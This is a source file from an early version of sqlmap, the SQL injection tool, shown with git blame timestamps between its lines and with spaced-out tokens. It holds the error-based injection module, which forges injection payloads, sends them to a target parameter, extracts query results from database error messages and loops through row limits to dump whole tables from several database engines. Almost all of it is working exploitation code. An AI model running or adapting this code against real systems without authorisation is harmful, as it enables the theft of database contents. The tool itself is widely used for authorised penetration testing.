2010-10-20 13:09:04 +04:00
#!/usr/bin/env python
"""
$ Id $
Copyright ( c ) 2006 - 2010 sqlmap developers ( http : / / sqlmap . sourceforge . net / )
See the file ' doc/COPYING ' for copying permission
"""
import re
import time
from lib . core . agent import agent
2011-01-31 15:21:17 +03:00
from lib . core . common import Backend
2011-01-19 02:02:11 +03:00
from lib . core . common import calculateDeltaSeconds
from lib . core . common import dataToSessionFile
2010-12-06 10:48:14 +03:00
from lib . core . common import extractRegexResult
2010-12-18 12:51:34 +03:00
from lib . core . common import initTechnique
2011-01-19 02:02:11 +03:00
from lib . core . common import isNumPosStrValue
2011-01-31 15:21:17 +03:00
from lib . core . common import listToStrValue
2010-10-20 13:09:04 +04:00
from lib . core . common import randomInt
from lib . core . common import replaceNewlineTabs
from lib . core . common import safeStringFormat
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
from lib . core . data import queries
2010-11-08 12:20:02 +03:00
from lib . core . enums import DBMS
2011-01-19 02:02:11 +03:00
from lib . core . enums import EXPECTED
2010-12-15 14:21:47 +03:00
from lib . core . enums import PAYLOAD
2011-01-19 02:02:11 +03:00
from lib . core . settings import FROM_TABLE
2010-10-20 13:09:04 +04:00
from lib . core . unescaper import unescaper
from lib . request . connect import Connect as Request
2011-01-19 02:02:11 +03:00
from lib . utils . resume import resume
2010-10-20 13:09:04 +04:00
2011-01-19 02:02:11 +03:00
reqCount = 0
2010-10-25 18:11:47 +04:00
2011-01-19 02:02:11 +03:00
def __oneShotErrorUse ( expression , field ) :
global reqCount
2010-12-18 12:51:34 +03:00
2010-12-01 20:09:52 +03:00
check = " %s (?P<result>.*?) %s " % ( kb . misc . start , kb . misc . stop )
2011-01-19 02:02:11 +03:00
nulledCastedField = agent . nullAndCastField ( field )
2010-10-21 02:43:02 +04:00
2011-01-28 19:36:09 +03:00
if Backend . getIdentifiedDbms ( ) == DBMS . MYSQL :
2011-01-19 02:02:11 +03:00
# Fix for MySQL odd behaviour ('Subquery returns more than 1 row')
nulledCastedField = nulledCastedField . replace ( " AS CHAR) " , " AS CHAR(100)) " )
2010-10-21 02:43:02 +04:00
2011-01-19 02:02:11 +03:00
# Forge the error-based SQL injection request
vector = agent . cleanupPayload ( kb . injection . data [ PAYLOAD . TECHNIQUE . ERROR ] . vector )
query = unescaper . unescape ( vector )
query = agent . prefixQuery ( query )
query = agent . suffixQuery ( query )
injExpression = expression . replace ( field , nulledCastedField , 1 )
injExpression = unescaper . unescape ( injExpression )
injExpression = query . replace ( " [QUERY] " , injExpression )
payload = agent . payload ( newValue = injExpression )
2010-10-20 13:09:04 +04:00
2011-01-19 02:02:11 +03:00
# Perform the request
2011-01-31 15:21:17 +03:00
page , headers = Request . queryPage ( payload , content = True )
2011-01-19 02:02:11 +03:00
reqCount + = 1
# Parse the returned page to get the exact error-based
# sql injection output
2011-02-01 01:51:14 +03:00
output = extractRegexResult ( check , page , re . DOTALL | re . IGNORECASE ) \
or extractRegexResult ( check , listToStrValue ( headers . headers \
if headers else None ) , re . DOTALL | re . IGNORECASE )
2010-10-26 13:33:18 +04:00
2011-01-19 02:02:11 +03:00
dataToSessionFile ( " [ %s ][ %s ][ %s ][ %s ][ %s ] \n " % ( conf . url , kb . injection . place , conf . parameters [ kb . injection . place ] , expression , replaceNewlineTabs ( output ) ) )
2010-10-20 13:09:04 +04:00
2010-12-01 20:09:52 +03:00
return output
2011-01-19 02:02:11 +03:00
def __errorFields ( expression , expressionFields , expressionFieldsList , expected = None , num = None , resumeValue = True ) :
outputs = [ ]
origExpr = None
for field in expressionFieldsList :
output = None
if field . startswith ( " ROWNUM " ) :
continue
if isinstance ( num , int ) :
origExpr = expression
expression = agent . limitQuery ( num , expression , field )
if " ROWNUM " in expressionFieldsList :
expressionReplaced = expression
else :
expressionReplaced = expression . replace ( expressionFields , field , 1 )
if resumeValue :
output = resume ( expressionReplaced , None )
if not output or ( expected == EXPECTED . INT and not output . isdigit ( ) ) :
if output :
warnMsg = " expected value type %s , resumed ' %s ' , " % ( expected , output )
warnMsg + = " sqlmap is going to retrieve the value again "
logger . warn ( warnMsg )
output = __oneShotErrorUse ( expressionReplaced , field )
2011-02-01 00:13:29 +03:00
if output is not None :
logger . info ( " retrieved: %s " % output )
2011-01-19 02:02:11 +03:00
if isinstance ( num , int ) :
expression = origExpr
if output :
output = output . replace ( kb . misc . space , " " )
2011-01-28 17:31:25 +03:00
outputs . append ( output )
2011-01-19 02:02:11 +03:00
return outputs
def errorUse ( expression , expected = None , resumeValue = True , dump = False ) :
"""
Retrieve the output of a SQL query taking advantage of the error - based
SQL injection vulnerability on the affected parameter .
"""
initTechnique ( PAYLOAD . TECHNIQUE . ERROR )
count = None
start = time . time ( )
startLimit = 0
stopLimit = None
outputs = [ ]
test = None
untilLimitChar = None
untilOrderChar = None
global reqCount
reqCount = 0
if resumeValue :
output = resume ( expression , None )
else :
output = None
if output and ( expected is None or ( expected == EXPECTED . INT and output . isdigit ( ) ) ) :
return output
_ , _ , _ , _ , _ , expressionFieldsList , expressionFields , _ = agent . getFields ( expression )
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry per time
# NOTE: I assume that only queries that get data from a table can
# return multiple entries
2011-02-01 00:13:29 +03:00
if " FROM " in expression . upper ( ) and ( ( Backend . getIdentifiedDbms ( ) not in FROM_TABLE ) or ( Backend . getIdentifiedDbms ( ) in FROM_TABLE and not expression . upper ( ) . endswith ( FROM_TABLE [ Backend . getIdentifiedDbms ( ) ] ) ) ) and " EXISTS( " not in expression . upper ( ) and " (CASE " not in expression . upper ( ) :
2011-01-28 19:36:09 +03:00
limitRegExp = re . search ( queries [ Backend . getIdentifiedDbms ( ) ] . limitregexp . query , expression , re . I )
2011-01-19 02:02:11 +03:00
topLimit = re . search ( " TOP \ s+([ \ d]+) \ s+ " , expression , re . I )
2011-01-28 19:36:09 +03:00
if limitRegExp or ( Backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) and topLimit ) :
if Backend . getIdentifiedDbms ( ) in ( DBMS . MYSQL , DBMS . PGSQL ) :
limitGroupStart = queries [ Backend . getIdentifiedDbms ( ) ] . limitgroupstart . query
limitGroupStop = queries [ Backend . getIdentifiedDbms ( ) ] . limitgroupstop . query
2011-01-19 02:02:11 +03:00
if limitGroupStart . isdigit ( ) :
startLimit = int ( limitRegExp . group ( int ( limitGroupStart ) ) )
stopLimit = limitRegExp . group ( int ( limitGroupStop ) )
limitCond = int ( stopLimit ) > 1
2011-01-28 19:36:09 +03:00
elif Backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) :
2011-01-19 02:02:11 +03:00
if limitRegExp :
2011-01-28 19:36:09 +03:00
limitGroupStart = queries [ Backend . getIdentifiedDbms ( ) ] . limitgroupstart . query
limitGroupStop = queries [ Backend . getIdentifiedDbms ( ) ] . limitgroupstop . query
2011-01-19 02:02:11 +03:00
if limitGroupStart . isdigit ( ) :
startLimit = int ( limitRegExp . group ( int ( limitGroupStart ) ) )
stopLimit = limitRegExp . group ( int ( limitGroupStop ) )
limitCond = int ( stopLimit ) > 1
elif topLimit :
startLimit = 0
stopLimit = int ( topLimit . group ( 1 ) )
limitCond = int ( stopLimit ) > 1
2011-01-28 19:36:09 +03:00
elif Backend . getIdentifiedDbms ( ) == DBMS . ORACLE :
2011-01-19 02:02:11 +03:00
limitCond = False
else :
limitCond = True
# I assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond :
if limitRegExp :
stopLimit = int ( stopLimit )
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
2011-01-28 19:36:09 +03:00
if Backend . getIdentifiedDbms ( ) in ( DBMS . MYSQL , DBMS . PGSQL ) :
2011-01-19 02:02:11 +03:00
stopLimit + = startLimit
2011-01-28 19:36:09 +03:00
untilLimitChar = expression . index ( queries [ Backend . getIdentifiedDbms ( ) ] . limitstring . query )
2011-01-19 02:02:11 +03:00
expression = expression [ : untilLimitChar ]
2011-01-28 19:36:09 +03:00
elif Backend . getIdentifiedDbms ( ) in ( DBMS . MSSQL , DBMS . SYBASE ) :
2011-01-19 02:02:11 +03:00
stopLimit + = startLimit
elif dump :
if conf . limitStart :
startLimit = conf . limitStart
if conf . limitStop :
stopLimit = conf . limitStop
if not stopLimit or stopLimit < = 1 :
2011-01-28 19:36:09 +03:00
if Backend . getIdentifiedDbms ( ) in FROM_TABLE and expression . upper ( ) . endswith ( FROM_TABLE [ Backend . getIdentifiedDbms ( ) ] ) :
2011-01-19 02:02:11 +03:00
test = False
else :
test = True
if test :
# Count the number of SQL query entries output
2011-01-28 19:36:09 +03:00
countFirstField = queries [ Backend . getIdentifiedDbms ( ) ] . count . query % expressionFieldsList [ 0 ]
2011-01-19 02:02:11 +03:00
countedExpression = expression . replace ( expressionFields , countFirstField , 1 )
if re . search ( " ORDER BY " , expression , re . I ) :
untilOrderChar = countedExpression . index ( " ORDER BY " )
countedExpression = countedExpression [ : untilOrderChar ]
if resumeValue :
count = resume ( countedExpression , None )
if not stopLimit :
if not count or not count . isdigit ( ) :
2011-01-21 01:01:21 +03:00
_ , _ , _ , _ , _ , _ , countedExpressionFields , _ = agent . getFields ( countedExpression )
count = __oneShotErrorUse ( countedExpression , countedExpressionFields )
2011-01-19 02:02:11 +03:00
if isNumPosStrValue ( count ) :
stopLimit = int ( count )
infoMsg = " the SQL query used returns "
infoMsg + = " %d entries " % stopLimit
logger . info ( infoMsg )
elif count and not count . isdigit ( ) :
warnMsg = " it was not possible to count the number "
warnMsg + = " of entries for the used SQL query. "
warnMsg + = " sqlmap will assume that it returns only "
warnMsg + = " one entry "
logger . warn ( warnMsg )
stopLimit = 1
elif ( not count or int ( count ) == 0 ) :
warnMsg = " the SQL query used does not "
warnMsg + = " return any output "
logger . warn ( warnMsg )
return None
elif ( not count or int ( count ) == 0 ) and ( not stopLimit or stopLimit == 0 ) :
warnMsg = " the SQL query used does not "
warnMsg + = " return any output "
logger . warn ( warnMsg )
return None
try :
for num in xrange ( startLimit , stopLimit ) :
output = __errorFields ( expression , expressionFields , expressionFieldsList , expected , num , resumeValue )
2011-02-01 00:13:29 +03:00
if output and isinstance ( output , list ) and len ( output ) == 1 :
output = output [ 0 ]
2011-01-19 02:02:11 +03:00
outputs . append ( output )
except KeyboardInterrupt :
print
warnMsg = " Ctrl+C detected in dumping phase "
logger . warn ( warnMsg )
duration = calculateDeltaSeconds ( start )
debugMsg = " performed %d queries in %d seconds " % ( reqCount , duration )
logger . debug ( debugMsg )
2011-02-01 00:13:29 +03:00
if not outputs :
outputs = __errorFields ( expression , expressionFields , expressionFieldsList )
if outputs and isinstance ( outputs , list ) and len ( outputs ) == 1 :
outputs = outputs [ 0 ]
2011-01-19 02:02:11 +03:00
return outputs